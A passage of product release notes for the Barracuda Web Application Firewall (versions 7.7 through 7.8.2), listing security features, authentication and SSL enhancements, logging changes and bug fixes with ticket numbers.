> Access Logs page under Query String as usual.
Security
Feature:A new feature, URL Encryption encrypts all end user exposed URLs to prevent forceful browsing and tampering attacks.
[BNWF-1923]
Feature: Authentication Services now allow multiple domains per service, allowing authentication across multiple domains by specifying
domain\username. Logins with no specified domain use the configured default domain for the service to authenticate. [BNWF-16648]
Feature: The Barracuda Web Application Firewall supports Perfect Forward Secrecy with ECDSA and RSA certificates and associated
ciphers. The key exchange mechanism supported is Elliptic Curve DHE. [BNWF-15085]
Enhancement: Added support for ECDHE ciphers for Perfect Forward Secrecy (PFS).
Enhancement: Admin accounts can now be configured with password policies such as minimum strength, expiry and maximum retries.
View locked admins on the ADVANCED > Admin Access Control page. Only admin users can clear the lockout for a locked admin.
[BNWF-9385]
Feature: Users can customize back-end SSL, including SNI extensions in the TLS header, if the server requires it. [BNWF-16566]
Enhancement: The Authentication module now accepts domain\username for LDAP authentication and correctly sends the username to
the back-end in the Basic Authentication header. [BNWF-16184]
Enhancement: The Authentication module now supports dual authentication against LDAP and RSA SecurID / Radius with
OTP. [BNWF-16032]
Enhancement: Default mode for new and updated patterns can now be configured as Active, Passive, or Off from the ADVANCED >
System Configuration page. By default, these values are set to Active for a 360/460 but to Passive for a 660 and above.
[BNWF-16021]
Enhancement: Internal attack patterns can now be configured as Active, Passive, or Off, individually. [BNWF-15991]
Enhancement: The redirect URL size for the global and local URL ACL rules has been increased to 1K. [BNWF-16215]
Enhancement: LDAP authentication now supports usernames with backslash and other special characters. [BNWF-16973]
Enhancement: It is possible to clone the values of an existing security policy and create a new security policy using Create Template on
the ADVANCED > Templates page. [BNWF-16264]
Fix: The Slowloris attack is split into two different attack IDs, named slow client attack and slow read attack. [BNWF-15998]
Fix: Maximum headers are now restricted to 1024 and the header size to 128K, even in passive mode, to prevent DoS attacks.
[BNWF-14890]
Fix: The State or Province name of a Self-signed certificate created on the ADVANCED > Secure Administration page can now
contain the space character. [BNWF-16951]
Fix: Virus scanning correctly handles any request lacking a Filename attribute. [BNWF-16923]
Fix: An OpenSSL issue reported in CVE-2014-0160 is now fixed. [BNWF-16810]
Fix: File Upload Mime Types length has been increased to 128. [BNWF-16401]
Fix: An SQL Injection attack vulnerability was fixed. [BNSEC-4406 / BNWF-16387]
Fix: The response is not chunk encoded when CSRF Prevention and Hidden Parameter Protection is set to None. [BNWF-16256]
Fix: An issue where DDoS policy was not getting deleted has been fixed. [BNWF-16246]
Fix: An issue after applying a new attack definition when the latest attack patterns were not displayed on the ADVANCED > View
Internal Patterns page has been fixed. [BNWF-16223]
Fix: URLs in a request containing a hash (#) character are now blocked by a matching URL ACL blocking rule. [BNWF-16190]
Fix: Policy Fix wizard now shows the correct recommendation for File upload size exceeded attack. [BNWF-16177]
Fix: An issue with the learning module which caused a configuration rollback while learning parameters with ascii characters outside
the printable range (e.g., 00, 01, etc.) has been fixed. These parameters are now skipped during the learning process. [BNWF-16116]
Fix: Authorization policies with the same name across multiple services are now displayed on the ACCESS CONTROL > Authorization
page. [BNWF-16048]
Fix: The Barracuda Web Application Firewall uses the custom cipher list (if specified) for SSL handshake with clients
when SNI is enabled for an HTTPS service. [BNWF-15954]

Fix: Parameter names are now inspected to prevent attacks in the request. [BNWF-14454]
Fix: Disabling Offline Upgrade sets Automatic Update to ON for all definitions. [BNWF-14307]
Fix: Applying a new attack definition pattern no longer requires a restart of any internal service, and does not disrupt production traffic
flow. [BNWF-6828]
System
Enhancement: Configure the time interval a client is considered suspicious on failing the CAPTCHA test using the field Suspicious
Clients Track Interval in ADVANCED > System Configuration. [BNWF-17172]
Enhancement: Specify whether a client which passed CAPTCHA validations is checked for bruteforce violations or not, using the field E
nable Bruteforce Checks for Validated Clients. [BNWF-17053]
Enhancement: The data path is now more resilient in a failure of the event management framework during system startup.
[BNWF-16981]
Enhancement: The list of locked out client IP addresses is now available on the WEBSITES > Advanced Security page. [BNWF-16854]
Enhancement: Network Interfaces can now be disabled or enabled from the consconf. [BNWF-16176]
Enhancement: Infrastructure to generate systemlog with alert for DRDY error is now available. [BNWF-16159]
Enhancement: Adaptive Profiling can be restricted to certain response codes. [BNWF-4415]
Enhancement: Configure partial matches for the cookie exempt list by specifying cookie exemptions like ctl*, *ctl, etc. [BNWF-592]
Enhancement: Upper limits for the maximum characters/numbers allowed in each field during certificate creation are now enforced.
[BNWF-16909]
Enhancement: A certificate associated with a service, server, or a rule group cannot be deleted on the BASIC > Certificates page.
[BNWF-16849]
Enhancement: Using a new variable Persistence Across Services, under ADVANCED > System Configuration > ADVANCED sectio
n, cookie persistence is now available across services with the same server IP address but different ports. [BNWF-9419]
Fix: In race conditions, traffic was not sent to the back-end servers even when the servers were up and running, and resulted in 408
timeout error. This issue has been fixed. [BNWF-17547]
Fix: Fixed a latency issue in Instant SSL Services caused when Transfer Chunk Encoded responses were not sent to clients when the
back-end server response included "Connection : Close". [BNWF-17371]
Fix: Blank space after the IP address in the value of X-Forwarded-For header now logs client IP address in BASIC > Access Logs.
[BNWF-17160]
Fix: ADVANCED > System Configuration > Set Failure Action = Drop connection setting now works for Services of type Redirect.
[BNWF-17150]
Fix: An issue with the reboot process on appliances with SMB configuration has been fixed. [BNWF-17001]
Fix: Request Buffering is no longer reset and now maintains its original value Full after upgrading to firmware version 7.8. [BNWF-16917]
Fix: A stats collection framework memory leak has been fixed. [BNWF-16661]
Fix: A server type selected on the ADVANCED > Backups page Destination is now reflected in the web interface and database.
[BNWF-16660]
Fix: Requests with Host headers followed by port number and a space are now honored. [BNWF-16414]
Fix: Issues with re-imaging the device have been fixed. [BNWF-16338]
Fix: An issue with the upper limit of 30 for the CRL name resulting in CRL configuration files getting overwritten has been fixed. Upper
limits of up to 60 characters are now accepted. [BNWF-16298]
Fix: An issue with services not being displayed after changing the service group name has been fixed. [BNWF-16263]
Fix: A service can now be created on a port being used in the system. [BNWF-16239]
Fix: An issue resulting in an STM process crash because of an abnormal number of X-Forwarded-For headers in a single request, has
been fixed. [BNWF-16231]
Fix: Cookie Update Interval set on the ACCESS CONTROL > Authentication page is now applied to requests with the POST method.
[BNWF-16144]
Fix: The Copy operation on the BASIC > Services page now copies website translation rules associated with the service.
[BNWF-16076]
Fix: An issue where the CRL Auto update configuration was not taking effect has been fixed. [BNWF-16005]
Fix: An issue resulting in an STM process crash when a service, with authentication feature turned on and bound to a trusted hosts
group, was disabled has been fixed. [BNWF-15845]
Fix: An issue that caused configuration database corruption due to multiple STM related process instances running at the same time has
Fix: An issue that caused the configuration snapshot to be corrupted and resulted in continuous rollbacks, has been fixed. [BNWF-15747]
Fix: An issue that caused bad netmask length error in snmpd has been fixed. [BNWF-15737]
Fix: An issue that caused an STM process crash during a configuration change process that resulted in a rollback, has been fixed.
[BNWF-15227]
Enhancement: Live charts are now implemented for CPU Utilization and Memory Utilization on the BASIC > Status page. [BNWF-15098]
Fix: An issue that caused an STM process crash due to a process related to the website translation feature has been fixed.
[BNWF-15088]
Fix: An issue where a client sending multiple requests in the same TCP connection resulted in the logs displaying the server IP address
only for the first request has been fixed. [BNWF-14367]
Enhancement: The reporting module has been overhauled and includes many new canned reports out of the box, including reports by

geography.
All log entries and report data prior to this update, with the exception of attack reports (counts only) for the past 10 days, will be
lost. If you have not already done so, you should export the log data prior to updating.
Feature: A new page, BASIC > Notifications, provides configurable notification policies for system and security events.[BNWF-15973]
Enhancement: System logs now capture installation information of definition updates. [BNWF-15829]
Enhancement: The Not In filter operation is added for log fields with multi-select option in the logs (Web Firewall Logs, Access Logs,
Audit Logs, System Logs and Network Firewall Logs). [BNWF-15809]
Enhancement: A new column, Clickjacking, has been added in the access log indicating the request is protected from Clickjacking
attacks. [BNWF-15458]
Enhancement: Some access reports are not available by geography. [BNWF-15435]
Enhancement: It is now possible to customize log data sent over syslog. [BNWF-15256]
Enhancement: The Blocked Requests by Services report and Attack Action filter is available on the BASIC > Reports page.
[BNWF-14999]
Enhancement: You can now apply a filter to the Security and Traffic reports to limit a report to specific data. [BNWF-10841]
Enhancement: Front-end timeout (Keepalive timeout) is now logged in the web firewall logs. [BNWF-16262]
Enhancement: The '=' and '\' signs have been escaped for the following fields in the exported ArcSight logs: [BNWF-16551]
Web Firewall Logs: %adl and %u
Access Logs: %cs1, %cs2, %cs3, %q, %u
Audit Logs: %add, %ov, %nv
Fix: The Timestamp and Hostname fields were logged twice by syslog-ng in the exported logs. This issue is now fixed. [BNWF-16949]
Fix: Problem Report can now be downloaded when the language is set to Korean. [BNWF-16117]
Fix: Admin password change is now logged properly in the BASIC > Audit Logs page. [BNWF-16038]
Fix: Timestamp is displayed properly in the access logs when W3C Extended Format is Log Format. [BNWF-17500]
User Interface
Enhancement: The web interface has been updated across all tabs and pages.
Enhancement: Bulk edit option for management routes is now available [BNWF-15814]
Enhancement: Admins can now monitor real time CPU, Memory, Bandwidth consumption from the Status page. [BNWF-15254]
Enhancement: Test widgets for regexes are now available for attack types on the ADVANCED > Libraries page. [BNWF-3599]
Management
Feature: Ability to view the statistics for the interfaces (WAN, LAN and MGMT) on the BASIC > Status page and ADVANCED >
Advanced Networking page. [BNWF-15258]
Enhancement: A completely new templates module allows template creation of existing policies and many other new features.
Enhancement: It is now possible to add/remove IP addresses from the trusted host group through the Rest API. [BNWF-16009]
Enhancement: It is now possible to View/Download Certificates through the Rest API. [BNWF-15988]
Enhancement: For networking and troubleshooting, a Sendgarp button is added on the HA page, which sends three gratuitous ARPs to
all active services on the box. [BNWF-15480]
Enhancement: An option has been added to perform manual bypass from Consconf. [BNWF-15259]
Fix: Request validation from the user is required before deleting network ACL. [BNWF-15521]
Enhancement: Counters have been added for URL and Header ADRs. [BNWF-15134]
Enhancement: The hostname for SNMP is now configurable. [BNWF-15067]
Enhancement: Clear Configuration option has been added in Consconf. [BNWF-11966]
Enhancement: It is now possible to exempt an IP address from the Lockout list by adding it to the exception list of the Bruteforce
policy.[BNWF-14403]
Enhancement: Host and URL are now separated in the Web Firewall logs. [BNWF-4403]
Enhancement: Admin users can now access the Barracuda Web Application Firewall consconf through SSH. [BNWF-17376]
Fix: In bridge mode, it is now possible to use the management port for system traffic, such as reaching the update server, license server,
NTP, etc. [BNWF-15257]
Fix: An issue where SNMP polling results for number of active services was inconsistent has been fixed. [BNWF-16701]
Fix: An issue where the web server process for the system management incorrectly listened on 0.0.0.0:443 resulting in HTTPS services
not working has been fixed. [BNWF-16249]
Fix: Sensitive parameter names can now include underscore (_) at the beginning in Mask Sensitive Data on the WEBSITES >
Advanced Security page. [BNWF-15935]
Fix: Configuration backup now works when there are non exportable private keys in the system. [BNWF-3073]
Fix: A RADIUS/Local administrator with admin role can now establish a support connection on the ADVANCED > Troubleshooting pag
e. [BNWF-15682]
Fix: It is now possible to bind up to 64 trusted certificates to an HTTPS service. [BNWF-15357]
Fix: An issue where the RSA Private Key appeared twice in the Certificate file when a certificate was uploaded has been fixed.
[BNWF-14622]
Fix: Graphs on the BASIC > Status page display data correctly when Preference is set to Day. [BNWF-14551]
Enhancement: FTP Allowed Verbs list now includes the PWD command. [BNWF-10164]

High Availability
Fix: An issue that caused configuration failure when an IP Reputation Pool was added in a High Availability environment, has now been
fixed. [BNWF-16241]
Fix: In Bridge mode:
The Join Cluster operation cannot be performed if Bypass on Failure is Yes on the Primary unit.
Setting Bypass on Failure to Yes is not allowed when the units are in cluster. [BNWF-15163]
Cloud Hosting
Fix: Saved backups can be deleted from the Cloud. [BNWF-17599]

Fix: An issue where the service was getting configured on an incorrect subnet in the Azure environment has been fixed. [BNWF-16632]

The 7.8.2 release has enhancements and fixes exclusively for the Barracuda Web Application Firewall Vx deployed on Azure and AWS
ONLY.
In the Azure cloud deployment, configuration amongst systems can be synchronized in a active/active cluster of two or more nodes.
[BNWF-15475]
In the Azure cloud deployment, the Virtual IP for services is fixed to the WAN IP address and cannot be changed. [BNWF-15855],
[BNWF-15838]
The Barracuda Web Application Firewall now supports REST based APIs for configuration of Services, Security Policies, Certificates and
Clustering. [BNWF-15474]
The “Allowed API IP/Range”, “Operation Mode”, “Addresses” and “Interface for System Services” modules are not available in the
Barracuda Web Application Firewall Vx deployed on Azure and Amazon Web Services. [BNWF-15902], [BNWF-15911]
The REST API guide can be downloaded here: Barracuda Web Application Firewall REST API Guide.

Before installing any firmware version, be sure to make a backup of your configuration and read all release notes that apply to versions more
recent than the one currently running on your system.
Do not manually reboot your system at any time during an upgrade, unless otherwise instructed by Barracuda Networks Technical Support.
The update process typically takes only a few minutes after the update is applied. If the process takes longer, please contact Barracuda Networks
Technical Support for further assistance.
Please make sure that the system has attack definition 1.45 if the system is being upgraded using the offline upgrade process.
The upgrade to 7.8.1 may take little longer time due to kernel upgrade. For this reason, you might see the web interface
coming up before the actual upgrade completes. It is recommended to wait for few minutes (approximately 10 minutes) after
the web interface comes up, and then continue accessing the box.
Security
Feature: Tor exit nodes can now be blocked from accessing services. [BNWF-15295]
Feature: An irreversible hash is performed on the user passwords including the admin password to ensure password secrecy in the
system. [BNWF-14816]
Enhancement: The CSRF token embedded in the form can have validity period/expiry time set when CSRF Prevention is set to "Forms"
or "Forms and URLs". [BNWF-15346]
Enhancement: The double decoding is now applied to URL before deep inspection. [BNWF-15286]
Enhancement: The encryption algorithm used for backup file now supports multibyte/wide characters. [BNWF-15276]
Enhancement: Support for normalization of Microsoft %u encoding before deep inspection. [BNWF-15221]
Enhancement: Deep inspection is now applied for "text/plain" content types in POST body parameters. [BNWF-14836]
Fix: An issue with flow control in SSL layer, which may affect large size SSL transactions is addressed. [BNWF-15736]
Fix: The CSRF protection for forms with action URL as "#" was causing false positives. This issue has been fixed. [BNWF-15219]
Fix: An issue where authorization policies not getting displayed has been fixed. [BNWF-15205]
Fix: False positives in CSRF protection in case of direct access to URL from a valid reference has been fixed. [BNWF-15183]
Fix: Protection against Apache range header DoS has been added. No more than 5 range-bytes can be requested. [BNWF-15104]
Fix: XML data which has TRANSACTION node is masked now. [BNWF-15065]
Fix: Mime type detection works for multiple file uploads. [BNWF-14679]
Networking
Enhancement: Prioritization of Network ACL is now supported. [BNWF-15237]

Fix: IP rules for MGMT static routes get correctly synchronized on the secondary in the cluster. [BNWF-15533]
Fix: Upper limit for network ACL priority has been removed. [BNWF-15172]
Fix: Interface status will not be shown as DOWN if the IP address has not been configured. [BNWF-15076]
Fix: STM crash issue during a brute force attack where more than 2 million concurrent connections are attempted on the Service has
been resolved. [BNWF-14842]
Fix: Restoring a backup does not affect the values of management routes and system routes of a system. [BNWF-14710]
Access Control
Feature: The domain information of the client is forwarded to the server along with the user credentials in the Basic Authentication
Header when Send Basic Authentication is set to Yes (ACCESS CONTROL > Authorization). [BNWF-15444]
Feature: For MS LDAP authentication, if the server indicates an expired password, the Barracuda Web Application Firewall can redirect
the user to reset it. [BNWF-14830]
Fix: Accessing a page with multiple web links in Kerberos authentication service was sometimes causing the user to get logged out
abruptly. This issue has been fixed. [BNWF-15667]
Fix: LDAP lookups for RBA now supports group filters. [BNWF-14562]
Cloud Hosting
Feature: Ability to automatically get the DNS server IP address during provisioning of the Barracuda Web Application Firewall Vx in the
Azure cloud. [BNWF-15143]
System
Feature: Automatic recovery from a Bypass state is now possible without the need for rebooting the appliance. [BNWF-15491]

Feature: Optimizations to reduce the overall configuration commit times for large configurations. [BNWF-14810]
Enhancement: Henceforth, the attack definitions are not activated automatically until "Enable Auto Apply Attack Definition" is set to Yes
on the ADVANCED > System Configuration page manually. This setting is implemented to ensure that the activation of definition can be
carried out during the production maintenance window. [BNWF-15250]
Enhancement: Apart from the "admin" user, LDAP users with "admin" role also have permissions to restore backup. [BNWF-15238]
Enhancement: The new version 7.8.1 has an updated core kernel to address rare kernel panics reported on Barracuda WAF.
[BNWF-14817]
Enhancement: FTP Allowed Verbs list now includes MLSD and MLST commands. [BNWF-7302]
Enhancement: IP Reputation Filter is now available in Bridge mode. [BNWF-14761]
Enhancement: Some important processes which relate to the management of the Barracuda Web Application Firewall now run with
constrained privileges to prevent any misuse of privileges by potential attackers. [BNWF-14851]
Enhancement: TCP dump captures bi-directional traffic for specified IP/Port. [BNWF-14729]
Fix: Option to use SSL v3.0 in addition to all TLS versions for back-end SSL added. [BNWF-15735]
Fix: A race condition in datapath process when Authentication was enabled for a SSL service has been fixed. [BNWF-15519]
Fix: An issue where the Service was showing Active even when all servers were down has been fixed. [BNWF-15511]
Fix: The "default" policy in Action Policy now includes secure-browsing, slow-client-attack, and captcha. [BNWF-15384]
Fix: A possible race condition in case of arrival of multiple pipelined requests has been fixed. [BNWF-15246]
Fix: Cipher suite preference can now be enforced from the service rather than relying only on the client's preference. [BNWF-15231]
Fix: Chained certificates uploaded in PFX format are now arranged according to the certificate hierarchy. [BNWF-15015]
Fix: Instances of Certificates page not getting displayed issue has been fixed. [BNWF-15192]
Fix: The redirect URL can now include query string parameters in it. [BNWF-15139]
Fix: Configuration rollbacks during "Policy Fix" operation in Web Firewall Logs has been fixed. [BNWF-15136]
Fix: Issue with a possible outage when learning is enforced from trusted hosts, is fixed. [BNWF-15016]
Fix: If the installed attackdef version is higher than new firmware's attackdef, firmware upgrade will not upgrade the attackdef.
[BNWF-14995]
Fix: Response body rewrite now honors Content Type: application/json. [BNWF-14952]
Fix: All cipher suites are carried over to the upgraded version when the firmware version of the Barracuda Web Application Firewall is
upgraded. [BNWF-14938]
Fix: In rare cases FTP proxy was aborting connection randomly when multiple files were uploaded. This issue has been fixed now.
[BNWF-14891]
Fix: Configuring a rewrite condition with the macro X509_OU for a request rewrite rule is not allowed. [BNWF-14760]
Fix: Caching a large number of big size files was causing the STM process to crash. This issue has now been fixed to handle.
[BNWF-14730]
Fix: Concurrent session issue while uploading the wsdl/schema file is resolved. [BNWF-5468]
Feature: The interface IP address information is now included in problem report files as well as configuration snapshot files to aid
troubleshooting. [BNWF-14790]
Fix: Unit serial number is added to the file names generated by the reporting module. [BNWF-15079]
Fix: Logs exported via FTP now export completely, upto a maximum of 500K entries. [BNWF-15034]
Fix: Special characters such as ? In the requests are correctly handled to ensure that the syslog entries are not sent with incorrect
Syslog Facility. [BNWF-14991]
Management
Feature: Redirect action can be configured as temporary redirect or permanent redirect resulting in the Barracuda Web Application
Firewall using 301 or 302 response codes respectively. [BNWF-12212]
Fix: Service related statistics can be enabled in the BASIC > Status page only if there is atleast one service of type HTTP.
[BNWF-15039]
Fix: It's now possible to generate and download Problem Report in the Japanese web interface. [BNWF-14736]
Fix: Relative URLs can be specified in redirect URL for Action Policy. [BNWF-12401]
High Availability
Feature: Under Bridge mode, (Link Loss Carry Forward) LLCF is now supported. If enabled, either WAN or LAN going down causes the
other one to be brought down forcibly. [BNWF-6070]
Fix: In Bridge mode, the disjoin operation is not supported if the Primary unit is in Passive state. [BNWF-15374]

Security
Feature: Barracuda IP reputation database (BBL) is now integrated with the Barracuda Web Application Firewall. [BNWF-13834]
Feature: The extension "*.css" is added by default to the list of Excluded URL patterns under the website profiles. [BNWF-13661]
Enhancement: New action policies have been added for DDoS policies using Captcha based protection.[BNWF-14655]
Enhancement: Response body rewrite is now performed for the content-type "application/x-java-jnlp-file" too. [BNWF-14608]
Enhancement: OWA 2010 is added to the list of default Security Policies. [BNWF-11698]
Fix: Sensitive parameter names that needs to be masked can include colon (:) in it. [BNWF-14281]
Fix: The sensitive parameters in the query string are cloaked when a request matches the rule group. [BNWF-14641]
Fix: The encoded parameters in the URL are not decoded once the SSO Cookie Update Interval is triggered. [BNWF-14522]
Fix: The follow up action in the action policy feature is now fixed to check for values in the x-forwarded-for headers. [BNWF-14255]
Fix: SOAP1.2 requests are checked for attacks and blocked. [BNWF-14220]
Fix: Secure browsing feature is now compatible with Safari and Firefox browsers running on Macintosh computers. [BNWF-14204]
Fix: A reflexive XSS vulnerability in the URL ACL name field has been fixed. [BNWF-14151]
Fix: An attack variant of an SQL injection attack that uses white space characters for obfuscation can be blocked through an addition of a
new pattern called "SQL-Command-strict" to the SQL Strict pattern list. [BNWF-13371]
Fix: All the configured Authorization policies in the Access Control > Authorization page are now visible to an administrator.
[BNWF-13481]
Fix: Cookie entries can include a # in the name. [BNWF-13479]
Fix: Forceful browsing of /README URI is not allowed. [BNWF-12046]
Fix: The SSLv3/TLS attack referred in CVE-2009-3555 has been addressed. [BNWF-4970]
Fix: Response headers are suppressed/cloaked for all pre-defined security policies. [BNWF-4444]
Fix: Pattern algorithm can now be configured for input types and attack types. [BNWF-889]
Networking
Enhancement: The ACLs , routes for the management network are now synchronized as part of the configuration synchronization in a
cluster. [BNWF-14453]
Enhancement: Ability to have system IP address on a VLAN interface. [BNWF-5013]
Fix: Source port range and destination report range options are disabled if the protocol selection is "All-Protocols" during ACL
configuration. [BNWF-14203]
Fix: The configuration file restore operation on a different system ensures proper import of static routes created under the management
network group. [BNWF-14202]
Fix: Multiple source NAT policies can be created if the source port value is different in each policy. [BNWF-14180]
Fix: An issue where the interface routes were not persistent across reboots has been fixed. [BNWF-13846]
Fix: The external syslog server communication is initiated through the required interface after checking the routing table. [BNWF-13600]
Fix: With certain NAT or firewall devices, aggressive socket recycling could lead to dropped SYN requests due to differing timestamps
sequences from the devices for multiple hosts behind them. The system now employs a safer alternative of reusing sockets that works
well with remote NAT devices and doesn't reduce performance either. [BNWF-11488]
System
Feature: Persistence method based on HTTP headers can be configured for server load balancing under the service configuration.
[BNWF-14124]
Feature: A certificate revocation list can be configured on the Barracuda Web Application Firewall. [BNWF-13739]
Feature: Ability to unblock clients that got blocked due to a follow up action configuration. [BNWF-13707]
Feature: It is now possible to select the required cipher suites for SSL negotiation. [BNWF-13769]
Feature: Multiple certificates can be associated to a single Service, using SNI. [BNWF-13678]
Enhancement: Client IP address is logged in the System Logs when the verification of client certificate fails. [BNWF-14493]

Enhancement: Report graphs are now displayed with all legends in High Chart layout. [BNWF-14364]
Enhancement: Remote Support can now be enabled through console to override the disable option set in web UI. [BNWF-14574]
Enhancement - The default access control login page for a service can be modified to include a descriptive text. [BNWF-13502]
Enhancement: Widget to select HTTP Methods has been added to filter the logs (Web Firewall and Access Logs). [BNWF-1359]
Fix - The appliances that are not connected to the internet for activation can now be activated offline. [BNWF-13873]
Fix: Browsers cannot save the password for the authentication login page automatically. [BNWF-14362]
Fix: Trusted hosts IP addresses are also checked while inserting values for client IP address if "Header for Client IP address" option is
configured. [BNWF-14640]
Fix: A service group cannot be deleted until all the Services within the group are deleted. [BNWF-14465]
Fix: An issue where a TCP connection between the client and the Barracuda Web Application Firewall was getting abruptly closed due to
receiving a 401 response from the back-end server during NTLM authentication handshake has been fixed. [BNWF-13826]
Fix: When authentication service is created to use LDAP over SSL, credentials are not cached thus allowing valid credentials to be used
after a failed login attempt. [BNWF-13801]
Fix: An issue which resulted in heart beat traffic with the wrong version being used after a firmware upgrade is now fixed. [BNWF-13730]
Fix: It is now possible to configure a rewrite condition while configuring a request rewrite rule. [BNWF-13726]
Fix: Template for URL ACLs now displays only the list of Service(s) that have URL ACLs configured in it. [BNWF-11432]
Fix: Administrator can set the required ICMP response code while configuring Network ACLs. [BNWF-12382]
Fix: Passive mode FTP on Microsoft IIS FTP is supported. [BNWF-13298]
Feature: Client IP addresses are included in system logs messages generated for renegotiation and handshake abortions.
[BNWF-13781]
Enhancement: Ability to change the font type while generating the reports in HTML or PDF format. [BNWF-12772]
Fix: An issue while filtering the logs (Web Firewall/Access/Audit Logs) using Time as an additional filter has been fixed. [BNWF-13691]
Fix: The virtual IP address is not duplicated in the database after the firmware upgrade. [BNWF-13778]
Fix - Booting up issues on virtual machine instances installed on Citrix XEN Hypervisor have been fixed. [BNWF-14270]
Fix: Server Time field in access logs was not displaying proper time in some cases. Fixed now. [BNWF-14410]
Fix: In some cases, the cookie tampered logs were not logged due to the event manager process crashing. This issue has been fixed.
{BNWF-14460]
Fix: All necessary fields as prescribed by ArcSight SIEM are now added in the log format while configuring export log. [BNWF-13899]
Fix: The log severity for the OCSP status check logs has been changed from error to Notice/Information. [BNWF-13841]
Fix: In rare cases, the Web Firewall and Access Logs were not updated correctly. This issue has been fixed. [BNWF-13716]
Fix: An issue that resulted in the configuration summary report for the URL profile and ACL getting generated as a blank report is now
fixed. [BNWF-13660]
Fix: Custom headers in the Access Logs display proper information. [BNWF-12987]
Fix: Issue of logging random IP addresses when Header Name for Actual Client IP is specified and header has non-numeric value has
User Interface
Feature: IP lookup tool is now provided to check the IP categorization based on location. [BNWF-13740]
Feature: Bulk edit option has been provided to edit file upload extensions. [BNWF-13659]
Enhancement: Bulk edit option is available for ACLs, Static Routes, Interface Routes and Custom Virtual Interfaces. [BNWF-11621]
Fix: The X509_subject macro is now handled correctly in request rewrite rules. [BNWF-14723]
Fix - Local Host Map entries on the BASIC > IP Configuration page can now be bulk edited. [BNWF-13998]
Fix: CPU Utilization graph on the BASIC > Status page displays accurate value for the time scale "Month". [BNWF-14344]
Fix: When CSRF protection is enabled under the URL protection, a PCI report generation on the Barracuda Web Application Firewall will
show CSRF protection as "fully satisfied". [BNWF-14052]
Fix : An issue which prevented an admin from editing the "More action" link in the Japanese language UI is now fixed. [BNWF-13733]
Fix: An issue which resulted in the security policies not getting shown in the UI after a join cluster operation has been fixed.
[BNWF-13728]
Fix: Syslog details contain login/logout activity of Guest user. [BNWF-12828]
Fix: Preferences option is available to set the Parameter profiles to be displayed per page. [BNWF-12692]
Fix: Trusted certificates getting deselected automatically while editing the Service has been fixed. [BNWF-11008]
Management
Enhancement: FTP Allowed Verbs list now includes MLSD and MLST commands. [BNWF-7302]
Fix: An STM crash due to the brute force prevention feature is now fixed. [BNWF-14553]
Fix: In some instances, the website profiles page displayed the directory structure information incorrectly. This has been fixed.
[BNWF-14478]
Fix: It is now possible to backup configuration remotely using NTLMv2 authentication. [BNWF-14450]
Fix: Ability to configure a custom admin role with permission to APPLY-FIX-FOR-ATTACKS which allows the user to apply policy
violation fix rules in web firewall logs. [BNWF-14372]
Fix: An issue where the SNMP agent on the Barracuda Web Application Firewall would not respond to SNMP queries due to heavy
system load has been fixed. [BNWF-14321]

Fix: SMB share names with white space can now be added during remote backup configuration. [BNWF-14296]
Fix: Having a password less than five (5) characters in SNMP Manager was preventing further configuration changes under the
Administration tab. This issue has been fixed now. [BNWF-14188]
Fix: It’s possible to configure `--no-check-certificate' option while specifying the target URL for wget troubleshooting option.
[BNWF-14059]
Fix: An issue where client impersonation feature stopped working after a firmware upgrade is fixed. [BNWF-13820]
High Availability
Fix: Join Cluster operation does not remove Management routes on the secondary/backup device. [BNWF-14420]
Fix: An issue where the services stopped working due to incorrect system gateway information during cluster synchronization tasks has
Fix: Cookie persistency is applied during HA failover. [BNWF-13927]
Fix: In some instances, the services were not getting failed over to the peer system in the HA. This is now fixed. [BNWF-13684]
Fix: Service disruption after recovering from network partitioning in cluster where the failback mode was set to manual has been fixed.
[BNWF-14776]

Fixed in Version 7.7
Security
SSL
Fix for SSL renegotiation vulnerability, CVE-2009-3555.[BNWF-11177]

Fix for SSL BEAST attack, CVE-2011-3389: ciphers can be preferred or enforced. [BNWF-12541]
Back-end SSL connections from the Barracuda Web Application Firewall to the web servers can now be validated using trusted
certificates. [BNWF-4963]
OCSP certificate validation is supported. [BNWF-10260]
Cookie Security
Internally generated cookies for signing and encryption now reflect the path and expiry set by the application. [BNWF-10073]
Cookies are no longer dropped if the Action Policy setting mismatched-IP-cookie-replay-attack is set to None. [BNWF-8771]
Website Profiles
The learning of Parameter profiles is improved by removing the restrictions of name lengths from the existing 255 character limitation.
[BNWF-11309]
The upper limit for Max Content Length and Max Value Length has been increased for profiles: [BNWF-1602]
Max Content Length is now configurable up to 1GB for URL profiles
Max Value Length is now configurable up to 1GB for Parameter profiles.
In rare cases profiling engine was adding duplicate parameter profiles without considering the case and length of the
parameter’s name. This issue has been fixed. [BNWF-10521]
Apply Fix option is now available for unknown content types in POST body in added URL profiles. [BNWF-10256]
It is now possible to import URL profiles having parameter profile names more than 64 characters. [BNWF-9221]
Request Limits
Request limits can now be set to a discrete length: [BNWF-10872]

Max Request Length – increased to 512k
Max Request Line Length – increased to 128k
Max URL Length – Increased to 16k
Max header length is increased to 64k. [BNWF- 9255]
Issues with multiple simultaneous large file (1.5 GB or larger) uploads resolved. [BNWF-8431]
In rare cases Keep Alive headers were triggering false positives when the value is not a numeric. This issue is fixed now.
[BNWF-12215]
Strict patterns added to help prevent SQL injection, OS command, Cross Site Scripting and Remote File Inclusion based
attacks. [BNWF-4486]
XML Validations
Error handling added for malformed WSDL files. [BNWF-11229]
Allow / Deny Rules
A configuration rollback no longer occurs when two URL ACL deny rules have similar URL matches which differ in case. [BNWF-10636]
Access Control
The Barracuda Web Application Firewall now does not perform anonymous bind request to the LDAP server when authenticating the
user. [BNWF-12081]
SiteMinder response attributes are now sent along with the initial request to protected resources. [BNWF-12591]

When creating an authorization rule, the upper limit for the Allowed Users field has been extended to 45 characters. [BNWF-12045]
Logs of the Access Control Module are now integrated into the System logs. [BNWF-10147]
Users are now authenticated even when LDAP bind password is reconfigured in the LDAP configuration for external authentication of
admin access control users. [BNWF-8317]
Local RBA users are now required to enter a confirm password when adding or editing Local Administrators. [BNWF-7331]
Networking
Back-end servers can now reach the internet even when both SNAT and Stateful Network Firewall are enabled. [BNWF-10458]
Independent default gateways can now be configured for WAN, LAN and MGMT interfaces. [BNWF-4868]
After upgrade, servers on the LAN side can now reach the internet without manually disabling and re-enabling SNAT. [BNWF-4965]
Default gateways can now be configured per VLAN. [BNWF-7181]
Independent network settings can now be configured for each Vsite. [BNWF-6354]
System
Chunked encoded responses from the server without the terminating "/r/n" at the end are now processed by the Barracuda Web
Application Firewall. [BNWF-3050]
Persistence Idle Timeout for client IP persistence is increased to 86400 seconds. [BNWF-10125]
Huge welcome banners are now supported for FTP services. [BNWF-10968]
Client Impersonation feature now works in one-arm proxy deployment. [BNWF-6721]
